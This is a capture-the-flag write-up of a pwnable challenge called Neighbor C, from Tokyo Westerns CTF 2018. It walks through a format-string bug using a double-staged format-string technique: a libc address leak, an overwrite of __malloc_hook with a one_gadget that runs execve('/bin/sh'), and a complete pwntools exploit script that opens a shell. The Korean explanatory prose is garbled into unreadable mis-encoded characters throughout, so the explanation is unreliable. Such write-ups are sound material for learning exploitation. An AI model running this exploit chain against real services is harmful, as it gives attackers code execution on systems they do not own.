Tokyo Westerns CTF 2018 - Neighbor C
๋ชฉ์ฐจ
Tokyo Westerns CTF 2018 pwnable challenge ์ ๊ณต๋ libc๊ฐ ์์ ๋ฒ์ ์ด๋ผ ์ต์ loader๋ก ๋ก๋๊ฐ ์๋๋ค. ๊ทธ๋ ๋ค๊ณ ๋ก์ปฌ libc๋ฅผ ์ด์ฉํ๋ฉด ํ์ด๊ฐ ์ด๋ ค์์ง๊ธฐ ๋๋ฌธ์ docker๋ก ์๋ฒ๋ฅผ ๊ตฌ์ฑํด์ ํ๊ฒฝ์ ๊ตฌ์ถํ๊ธฐ๋ก ํ๋ค. ์ด๋ ๊ฒ ์๋ฒ๋ฅผ ๊ตฌ์ฑํ๋ฉด ๊ทธ๋์ ๊ธฐ์กด์ ๊ทธ๋ฆฌ๊ณ ๋๋ฒ๊ฑฐ๊ฐ libc๋ฅผ ์ ๋๋ก ์ฝ์ด์ ์ฌ๋ณผ์ ๋ก๋ํ๊ธฐ ์ํด์ ๋ฐ์ด๋๋ฆฌ๋ฅผ ๋ณด๋ฉด ์ ๋ฒ ๋ฌธ์ ์์๋ ๊ฒฝํํ์ง๋งโฆ ์ทจ์ฝ์ ์ด ๊ฐ๋จํ๋ฉด exploit์ด ๋ณต์กํด์ง๋๋ฐ ์ด ๋ฌธ์ ๋ ๊ทธ๋ฐ ๊ฒ ๊ฐ๋ค. ์ทจ์ฝ์ ์ ํ์ฉํ๊ธฐ์ ์์ ๋ฌธ์ ๋ ๊ทธ๋์ ๋๋ฒ๊น
ํ๊ฒฝ์์๋ ํธ์๋ฅผ ์ํด ASLR์ ๊บผ๋์๊ธฐ ๋๋ฌธ์ ์๋ฌดํผ ๋ก์ปฌ ํ๊ฒฝ์์๋ ์๋ฌ ๋ฉ์ธ์ง๋ ๋ณผ ์ ์๊ธฐ ๋๋ฌธ์ ๋คํํ ์ปจํธ๋กคํ ์ ์๋ ํ์ง๋ง ์ฌ๊ธฐ์์๋ ์ต์ข
์ ์ผ๋ก๋ 1/256 ํ๋ฅ ๋ก exploit์ด ๊ฐ๋ฅํ๋ค. ์ด๋ ๊ฒ ์ป์ด์ง ์์ธํ ๋ณด๋ฉด 5๋ฒ์งธ format string๋ถํฐ stack์ ๋ด์ฉ๊ณผ ์ผ์นํ๋ ๊ฒ์ ํ์ธํ ์ ์๋๋ฐ, stack ์์ format string์ ๋ค์ calling convention์ ๋ฐ๋ผ ๋ ์ง์คํฐ์ ๊ฐ๋ค์ ์ถ๋ ฅํด์ค๋ค๊ณ ํ๋ค. ํ์ง๋ง ์ ๊ฒฝ์ฐ๋ ์๋ฌดํผ ๋ค์ ๋์์์ stack์ 10๋ฒ์งธ ๊ฐ์ libc์ ์ฃผ์๊ฐ ๋ค์ด๊ฐ์์ผ๋ฏ๋ก offset์ ๊ณ์ฐํด์ ๋นผ์ฃผ๋ฉด libc์ base ์ฃผ์๋ฅผ ํ๋ํ ์ ์๋ค. ์ด์ ๊ฐ์ฅ ์ค์ํ ์ด๋์ ๋ฌด์์ ์ธ ๊ฒ์ธ์ง์ ๋ํ ๋ถ๋ถ์ธ๋ฐ, ์์ libc๋ผ์ ๋คํํ ์กฐ๊ฑด์ด ๋นก์ธ์ง ์์์ ํ์ธํด๋ดค๋๋ฐ, while๋ฌธ ํ๋ฆ์ ํธ์ถ๋๋ ํจ์๋ ํน์ ํจ์ ๋ด๋ถ์ ์ผ๋ก ๊ทธ๋์ ๊ตฌ๊ธ๋ง์ ํด๋ณด๋ ์ ๋ณด๊ฐ ์กฐ๊ธ ์์๋ค. ํ์ธํด๋ณด๋ format string์ ํตํด ๋ง๋ค์ด์ง output string์ด ์ฌ์ด์ฆ๊ฐ ๊ทธ๋์ ๊ฑฐ๊พธ๋ก ์, ๋ค์ stack์ ๋ณด๋ฉด ์ด ๋น์ด์๋ ๊ณต๊ฐ( ๋น์ฐํ ์ฌ์ค ๋ถํ์ํ payload๊ฐ ๋ง์ด ๋ณด๋ด์ ธ์ ํจ์จ์ ์ด์ง ์์ง๋ง, ํ๋ค๋ณด๋ ์์ฌ์ด ๋์ ๋ผ์ธ ํ๋๋ก arbitrary write๋ฅผ ํ ์ ์๊ฒ ๋ง๋ค์๋ค. 0x00. Introduction
[*] '/home/user/neighbor'
Arch: amd64-64-little
RELRO: Full RELRO
Stack: No canary found
NX: NX enabled
PIE: PIE enabled Environment
โ sudo docker build -t 'neighbor' .
โ sudo docker run -d -p 9999:9999 --name neighbor neighbor
โ sudo docker top neighbor
UID PID PPID C STIME TTY TIME CMD
user 1001143 1001123 0 Jul13 ? 00:00:00 /bin/sh -c socat TCP-LISTEN:9999,reuseaddr,fork EXEC:"/home/user/neighbor",pty,raw,echo=0
user 1001169 1001143 0 Jul13 ? 00:00:00 socat TCP-LISTEN:9999,reuseaddr,fork EXEC:/home/user/neighbor,pty,raw,echo=09999 ํฌํธ๋ฅผ ๋ฆฌ์ค๋ํ๋ค๊ฐ ์ฐ๊ฒฐ์ด ๋๋ฉด EXEC:/home/user/neighbor๋ฅผ ํตํด neighbor ํ๋ก์ธ์ค๋ฅผ ์คํํ๋ค.exploit.py ํฌ๋งท์ผ๋ก๋ ์ฐ๊ฒฐ์ด ๋ถ๊ฐ๋ฅํ๊ณ , ๋ค์๊ณผ ๊ฐ์ด ์์ ํด์ค์ผ ์ ๋๋ก ๋๋ฒ๊น
์ ํ ์ ์๋ค.def main():
if(len(sys.argv) > 1):
s = remote("0.0.0.0", int(sys.argv[1]))
pid = os.popen(f"sudo docker top {BINARY} -eo pid,comm | grep {BINARY} | awk '{print $1}'").read()
if DEBUG:
gdb.attach(int(pid), gs, exe=BINARY, sysroot="./")
else:
s = process(BINARY, env={"LD_PRELOAD" : LIBRARY})
if DEBUG:
gdb.attach(s, gs)
elf = ELF(BINARY)
lib = ELF(LIBRARY)sysroot ์ธ์๋ฅผ ์คฌ๋๋ฐ, ๊ทธ๋ฌ๋ฉด ํ์ฌ ์์น๋ฅผ root ๋๋ ํ ๋ฆฌ๋ก ์ธ์ํ๊ณ libc ํ์ผ์ ์ฐพ๊ฒ ๋๋ค. ๋ฐ๋ผ์ vmmap์ ํตํด libc ๊ฒฝ๋ก๋ฅผ ํ์ธํ๊ณ ๊ทธ์ ๋ง์ถฐ์ ๋๋ ํ ๋ฆฌ๋ฅผ ์์ฑํ ํ libc ํ์ผ์ ๋ณต์ฌํด์ฃผ๋ฉด ๋๋ค.โ ls ./lib/x86_64-linux-gnu
libc-2.23.so 0x01. Vulnerability
void __fastcall __noreturn sub_8D0(FILE *stderr)
{
while ( fgets(format, 256, stdin) )
{
fprintf(stderr, format);
sleep(1u);
}
exit(1);
}
void __noreturn sub_937()
{
puts("Hello neighbor!");
puts("Please tell me about yourself. I must talk about you to our mayor.");
sub_8D0(stderr);
}
void __fastcall __noreturn main(int a1, char **a2, char **a3)
{
setvbuf(stdin, 0LL, 2, 0LL);
setvbuf(stdout, 0LL, 2, 0LL);
setvbuf(stderr, 0LL, 2, 0LL);
sleep(0);
sub_937();
}sub_8D0()์์ fprintf์ format์ ์ง์ ์
๋ ฅํ ์ ์์ด FSB๊ฐ ๋ฐ์ํ๋ค. 0x02. Exploit
Stack Control
format์ด ์ ์ญ๋ณ์์ด๊ธฐ ๋๋ฌธ์ stack์ ๊ฐ์ ์
๋ ฅํ ์๊ฐ ์๋ค. ๊ทธ๋ฌ๋ฉด stack์ ํฌ์ธํฐ๋ฅผ ๋ง๋ค ์ ์์ด์ FSB์ ํต์ฌ์ธ %n์ ํตํด ํฌ์ธํฐ๊ฐ ๊ฐ๋ฆฌํค๋ ๊ณณ์ ๊ฐ์ ์ฐ๋ ๊ฒ์ด ๋ถ๊ฐ๋ฅํ๋ค. ๋ฐ๋ผ์ stack์ ์๋ ๊ฐ์ผ๋ก ์ ์ ํ๊ฒ ์ํ๋ ๊ณณ์ ๊ฐ์ ์ธ ์ ์๋ primitive๋ฅผ ํ๋ํด์ผ ํ๋ค.gefโค x/10gx $rsp
0x7fffffffebb0: 0x0000555555400a88 0x00007ffff7dd2540
0x7fffffffebc0: 0x0000000000000000 0x00007ffff7dd2540
0x7fffffffebd0: 0x00007fffffffebe0 0x0000555555400962
0x7fffffffebe0: 0x00007fffffffebf0 0x00005555554009d7
0x7fffffffebf0: 0x00005555554009f0 0x00007ffff7a2d840fprintf()๋ฅผ ํ ๋์ stack์ ์ถ๋ ฅํด๋ณด์๋๋ฐ, push rbp๋ฅผ ํ๋ค๊ฐ ์๊ธด stack ์์ญ์ ์ฃผ์๊ฐ ๋ ๊ฐ ์์๋ค. ์ฌ๊ธฐ์์ ์ ๊ตณ์ด main() -> sub_937() -> sub_8D0()์ผ๋ก ํจ์๋ฅผ ํธ์ถํ ๊น์ ๋ํ ์๋ฌธ์ด ํ๋ ธ๋๋ฐ, Double Staged FSB๊ฐ ๊ฐ๋ฅํ๊ฒ ํ๊ธฐ ์ํจ์ด์๋ค.0x7fffffffebd0($rsp+0x20)์ด 0x7fffffffebe0($rsp+0x30)์ ๊ฐ๋ฆฌํค๊ณ ์์ด์ FSB๋ฅผ ์ด์ฉํ๋ฉด 0x7fffffffebe0์ ์ํ๋ ์ฃผ์๋ฅผ ๊ตฌ์ฑํ ์ ์๋ค.0x7fffffffebd0์ด 9๋ฒ์งธ format string์ด๊ธฐ ๋๋ฌธ์, ๋ค์๊ณผ ๊ฐ์ด payload๋ฅผ ์์ฑํ๋ฉด 0x7fffffffebe0์ ๋ด๊ฒจ์๋ ๊ฐ์ ์ปจํธ๋กคํ ์ ์๋ค.%1c%9$hhn : 0x00007fffffffebf0 -> 0x00007fffffffeb01%258c%9$hn : 0x00007fffffffebf0 -> 0x00007fffffff0102%16909060c%9$n : 0x00007fffffffebf0 -> 0x00007fff01020304$rsp์ ์ฒซ ๋ฐ์ดํธ๊ฐ 0xb0๋ก ๊ณ ์ ๋์ด์์ง๋ง, ์ค์ ์๋ฒ ํ๊ฒฝ์์๋ ASLR์ด ์ผ์ ธ์์ ๊ฒ์ด๋ฏ๋ก ์ด ๋ 1/16 ํ๋ฅ ๋ก exploit ์ฑ๊ณต๋ฅ ์ด ๋จ์ด์ง๊ฒ ๋๋ค.fprintf(stderr, format) ๊ฒฐ๊ณผ๋ฅผ ๋ณผ ์ ์์๋๋ฐ, ์๋ฒ ํ๊ฒฝ์์๋ ์๋ฌ ๋ฉ์ธ์ง๋ฅผ ๋ณผ ์๊ฐ ์๋ค. ๋ฐ๋ผ์ ์ stack control์ ํตํด ๋จผ์ ํด์ผํ ๊ฒ์ stderr๋ฅผ stdout์ผ๋ก ๋ง๋ค์ด์ ๋ค์ ๋จ๊ณ๋ก ๋์ด๊ฐ๋ ๊ฒ์ด๋ผ๊ณ ํ๋จํ๋ค. Libc Leak
# fprintf(stderr, format);
gefโค x/5i 0x55555540090e
0x55555540090e: mov rax,QWORD PTR [rbp-0x8]
0x555555400912: lea rsi,[rip+0x200747] # 0x555555601060
0x555555400919: mov rdi,rax
0x55555540091c: mov eax,0x0
0x555555400921: call 0x555555400778 <fprintf@plt>fprintf์ stderr๋ libc์ Data์์ญ์ ์๋ stderr๊ฐ ์๋, sub_8D0()๋ฅผ ํธ์ถํ ๋ ์ธ์๋ก ์ ๋ฌํ stack์ ์๋ stderr์ด๋ค. ๊ทธ๋ฆฌ๊ณ ์ด stderr๋ $rbp-0x8์ผ๋ก ์ ๊ทผํ ์ ์๋๋ฐ, ์ด ์ฃผ์๋ 0x7fffffffebc8($rsp+0x18)์ด๋ค.0x7fffffffebe0์ ์ด๋ฏธ stack ์์ญ์ ์ฃผ์๊ฐ ๋ด๊ฒจ์์ผ๋ฏ๋ก, ์ฒซ ๋ฐ์ดํธ๋ง 0xc8์ผ๋ก ๋ฎ์ผ๋ฉด 0x7fffffffebe0์ด 0x7fffffffebc8์ ๊ฐ๋ฆฌํค๊ฒ ๋๋ค. ๊ทธ๋ฌ๋ฉด 0x7fffffffebe0์ด 11๋ฒ์งธ format string์ด๊ธฐ ๋๋ฌธ์ stderr๋ฅผ stdout์ผ๋ก ๋ฐ๊ฟ ์ ์๋ค.gefโค x/gx 0x555555601020
0x555555601020 <stdout>: 0x00007ffff7dd2620
gefโค x/gx 0x555555601040
0x555555601040 <stderr>: 0x00007ffff7dd2540stderr์ stdout์ ๋ ๋ฒ์งธ ๋ฐ์ดํธ๊ฐ ๋ค๋ฅด๊ธฐ ๋๋ฌธ์, 0x7fffffffebc8์ ์ฒซ ๋ ๋ฐ์ดํธ๋ฅผ 0x2620์ผ๋ก ๋ฎ์ด์ฐ๊ฒ ๋๋ฉด ASLR์ ์ํด ๋๋ค์ exploit ํ๋ฅ ์ด 1/16์ด ๋๋ค.'0x7ffff7dd3790 0x7ffff7b04360 0x7ffff7dd3780 0x7ffff7ff2700 0x555555400a88 0x7ffff7dd2540 (nil) 0x7ffff7dd2620 0x7fffffffebe0 0x555555400962 0x7fffffffebc8 0x5555554009d7 0x5555554009f0 0x7ffff7a2d840 \n'gefโค x/10gx $rsp
0x7fffffffebb0: 0x0000555555400a88 0x00007ffff7dd2540
0x7fffffffebc0: 0x0000000000000000 0x00007ffff7dd2620
0x7fffffffebd0: 0x00007fffffffebe0 0x0000555555400962
0x7fffffffebe0: 0x00007fffffffebc8 0x00005555554009d7
0x7fffffffebf0: 0x00005555554009f0 0x00007ffff7a2d840stdout์ผ๋ก format string์ ์ถ๋ ฅํด๋ณธ ๊ฒ๊ณผ ์ค์ stack์ ๋ด์ฉ์ ๋น๊ตํ๋ฉด ์์ ๊ฐ๋ค.rsi, rdx, rcx, r8, r9rdx๋ถํฐ ์ถ๋ ฅ๋๋ ๊ฒ์ ๋ณผ ์ ์๋๋ฐ, fprintf์ ๋ ๋ฒ์งธ ์ธ์๊ฐ ๋ค์ด๊ฐ์ ๊ทธ๋ฐ๊ฒ ์๋๊น ์๊ฐํ๋ค. Triggering
mallocmalloc_hook์ ์ฌ์ฉํ ์ ์๋ค. ๋ฐ๋ผ์ ์ด๋์๋ ๊ฒฐ์ ๋์๊ณ , one shot ๊ฐ์ ฏ์ ํ์ธํด๋ณด์๋ค.โ one_gadget libc-2.23.so
0x4527a execve("/bin/sh", rsp+0x30, environ)
constraints:
[rsp+0x30] == NULL || {[rsp+0x30], [rsp+0x38], [rsp+0x40], [rsp+0x48], ...} is a valid argv
0xf03a4 execve("/bin/sh", rsp+0x50, environ)
constraints:
[rsp+0x50] == NULL || {[rsp+0x50], [rsp+0x58], [rsp+0x60], [rsp+0x68], ...} is a valid argv
0xf1247 execve("/bin/sh", rsp+0x70, environ)
constraints:
[rsp+0x70] == NULL || {[rsp+0x70], [rsp+0x78], [rsp+0x80], [rsp+0x88], ...} is a valid argv0xf1247์ ์์นํ ๊ฐ์ ฏ์ด ํ์ฉํ ์ ์์ด ๋ณด์๋ค. ๋ฐ๋ผ์ ๋ฌด์์๋ ์์ฐ์ค๋ฝ๊ฒ ํด๊ฒฐ๋์๋๋ฐ, ๋ง์ ์๊ฐํด๋ณด๋ malloc์ ์ด๋์ ๊ฐ ํธ์ถํด์ผ malloc_hook์ด ํธ์ถ๋ ๊ฒ์ธ๋ฐโฆfgets์ fprintf๋ฐ์ ์๋ค.malloc์ด ํธ์ถ๋๋์ง ํ์ธํด๋ณด๋ ค๊ณ ํ๋๋ฐ, fgets๋ ๊ฐ๋จํด์ malloc์ด ์๋ค๋ ๊ฒ์ ํ์ธํ ์ ์์๋ค. ๋ฐ๋ฉด fprintf๋ vfprintf์ ํธ์ถํ๋๋ฐ ์ด ์์ ๋๋ฌด ๋ง์ ์ฝ๋๊ฐ ์์ด์ ํ์ธ์ด ์ด๋ ค์ ๋ค.0x10001 ์ด์์ด๋ฉด malloc์ ํธ๋ฆฌ๊ฑฐํ ์ ์๋ ๊ฒ ๊ฐ๋ค.malloc์ ํธ์ถํ๋ ํจ์, j_malloc์ ํธ์ถํ๋ ํจ์๋ฅผ xrefํด๋ดค๋๋ฐ vfprintf๊ฐ ์๋ ๊ฒ ๊น์ง๋ ํ์ธํ๋ค. Arbitrary Write
gefโค x/10gx $rsp
0x7fffffffebb0: 0x0000555555400a88 0x00007ffff7dd2540
0x7fffffffebc0: 0x0000000000000000 0x00007ffff7dd2620
0x7fffffffebd0: 0x00007fffffffebe0 0x0000555555400962
0x7fffffffebe0: 0x00007fffffffebc8 0x00005555554009d7
0x7fffffffebf0: 0x00005555554009f0 0x00007ffff7a2d8400x7fffffffebc0($rsp+0x10)์ด NULL๋ก ๋น์ด์๋ค.free_space)์ Double Staged FSB๋ฅผ ์ด์ฉํด 1์ฐจ์ ์ผ๋ก ์ฐ๋ฆฌ๊ฐ ์ํ๋ ์ฃผ์(addr)์ ๋ง๋ค์ด์ฃผ๊ณ , ๋ง๋ค์ด์ง ์ฃผ์๋ฅผ ํฌ์ธํฐ๋ก ์ฌ์ฉํด ๋ค์ Double Staged FSB๋ฅผ ์ด์ฉํ์ฌ ์ํ๋ ๊ฐ(value)์ ์ธ ๊ฒ์ด๋ค.addr์ malloc_hook์ด ๋ ๊ฒ์ด๊ณ , value๋ ๋ก๋ฉ๋ ์์น์ one shot ๊ฐ์ ฏ์ด ๋ ๊ฒ์ด๋ค. ์ด ๊ณผ์ ์ python์ผ๋ก ๋ง๋ค๋ฉด ๋ค์๊ณผ ๊ฐ์ด ๋ง๋ค ์ ์๋ค.def arbitrary_write(s, addr, value):
write_primitive(s, addr, value & 0xffff)
write_primitive(s, addr + 2, (value & 0xffff0000) >> 16)
write_primitive(s, addr + 4, (value & 0xffff00000000) >> 32)
write_primitive(s, addr + 6, (value & 0xffff000000000000) >> 48)
def write_primitive(s, addr, value):
free_space = rsp + 0x10
stack_control(s, free_space, addr & 0xffff)
stack_control(s, free_space + 2, (addr & 0xffff0000) >> 16)
stack_control(s, free_space + 4, (addr & 0xffff00000000) >> 32)
stack_control(s, free_space + 6, (addr & 0xffff000000000000) >> 48)
payload = f"%{value}c".encode()
payload += b"%7$hn"
s.sendline(payload)
def stack_control(s, stack, value):
payload = f"%{stack}c".encode()
payload += b"%9$hhn"
s.sendline(payload)
payload = f"%{value}c".encode()
payload += b"%11$hn"
s.sendline(payload)arbitrary_write(s, malloc_hook, one_gadget) 0x03. Payload
from pwn import *
from pwnlib.util.packing import p32, p64, u32, u64
from time import sleep
import sys, os
DEBUG = True
BINARY = "neighbor"
LIBRARY = "libc-2.23.so"
code_base = 0x0000555555400000
rsp = 0xb0
malloc_hook_offset = 0x3c4b10
one_gadget_offset = 0xf1247
bp = {
'call_8d0' : code_base + 0x95D,
'fgets' : code_base + 0x8FA,
'fprintf' : code_base + 0x921,
}
gs = f'''
b *{bp['call_8d0']}
b *{bp['fprintf']}
'''
context.terminal = ['tmux', 'splitw', '-hf']
def arbitrary_write(s, addr, value):
write_primitive(s, addr, value & 0xffff)
write_primitive(s, addr + 2, (value & 0xffff0000) >> 16)
write_primitive(s, addr + 4, (value & 0xffff00000000) >> 32)
write_primitive(s, addr + 6, (value & 0xffff000000000000) >> 48)
def write_primitive(s, addr, value):
free_space = rsp + 0x10
stack_control(s, free_space, addr & 0xffff)
stack_control(s, free_space + 2, (addr & 0xffff0000) >> 16)
stack_control(s, free_space + 4, (addr & 0xffff00000000) >> 32)
stack_control(s, free_space + 6, (addr & 0xffff000000000000) >> 48)
payload = f"%{value}c".encode()
payload += b"%7$hn"
s.sendline(payload)
s.recv(0xffff)
sleep(1)
def stack_control(s, stack, value, stderr=False):
if value == 0:
return
log.info(f"writing {hex(value)} to {hex(stack)}")
payload = f"%{stack}c".encode()
payload += b"%9$hhn"
s.sendline(payload)
if stderr == False:
s.recv(0xffff)
sleep(1)
payload = f"%{value}c".encode()
payload += b"%11$hn"
s.sendline(payload)
if stderr == False:
s.recv(0xffff)
sleep(1)
def main():
if(len(sys.argv) > 1):
s = remote("0.0.0.0", int(sys.argv[1]))
pid = os.popen("sudo docker top {BINARY} -eo pid,comm | grep {BINARY} | awk '{print $1}'").read()
if DEBUG:
gdb.attach(int(pid), gs, exe=BINARY, sysroot="./")
else:
s = process(BINARY, env={"LD_PRELOAD" : LIBRARY})
if DEBUG:
gdb.attach(s, gs)
elf = ELF(BINARY)
lib = ELF(LIBRARY)
s.recv()
# overwrite stderr in stack to stdout
stack_control(s, rsp + 0x18, 0x2620, stderr=True)
# leak libc base
payload = b"%14$p"
s.sendline(payload)
libc = int(s.recv(), 16) - 0x20840
sleep(1)
malloc_hook = libc + malloc_hook_offset
one_gadget = libc + one_gadget_offset
log.info(f"libc : {hex(libc)}")
log.info(f"malloc_hook : {hex(malloc_hook)}")
log.info(f"one_gadget : {hex(one_gadget)}")
# write one_gadget address to malloc_hook
arbitrary_write(s, malloc_hook, one_gadget)
# trigger malloc -> malloc_hook
s.sendline(f"%{0x21000}c".encode())
s.recv(0x21000)
sleep(1)
s.interactive()
if __name__=='__main__':
main()